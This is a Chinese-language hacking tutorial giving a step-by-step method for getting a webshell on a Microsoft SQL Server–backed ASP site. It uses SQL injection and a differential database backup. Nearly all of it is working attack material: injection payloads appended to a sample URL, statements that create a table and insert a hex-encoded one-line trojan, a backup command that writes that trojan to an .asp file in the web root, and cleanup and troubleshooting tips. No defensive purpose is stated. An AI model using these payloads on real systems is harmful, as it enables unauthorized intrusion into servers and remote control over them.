一、差异备份的条件:
1、要有列目录的权限(能列目录当然不能低于DB_owner)
2、HTTP500错误不是自定义。可能大家不明白这是什么意思。
3、WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。
4、数据量不能太大,太大了没法在IE打开。
PS:列目录这个权限可有可无,但是你得知道WEB路径。
二、差异备份的步骤:
第一步:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x库名 backup database @a to disk=@s–
备份当前数据库,以差异备份. “0x库名”这里备份的库名转换成16位进制。
PS:当遇到字符型的注入点时要在;号前加一’号,如:htttp://www.hack58.com/list.asp?id=hack’;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x库名 backup database @a to disk=@s–
第二步:
;Drop table [hack58];create table [dbo].[hack58] ([cmd] [image])–
建表加字段…
第三步:
insert into hack58(cmd) values(0x一句话木马)–
写入一句话木马 “0x一句话木马”用一句话木马的16位进制代码
第四步:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- 备份得到shell
这是最关键的一步bakshell
“0x备份路径” 这是备份的Web路径的16位进制编码,也就是webshell的路径
假如备份的是F:\web\hack58.asp
16进制: 0x463A5C7765625C6861636B35382E617370
查看是否备份成功
第五步:
Drop table [hack58]–
删除表
个人认为删不删无所谓,最好还是删了
PS:如果用一句话客户端连不上
分两种情况:
1.磁盘没有写的权限(找个有写的权限的目录重新备份,有可能成功)
2.FSO被删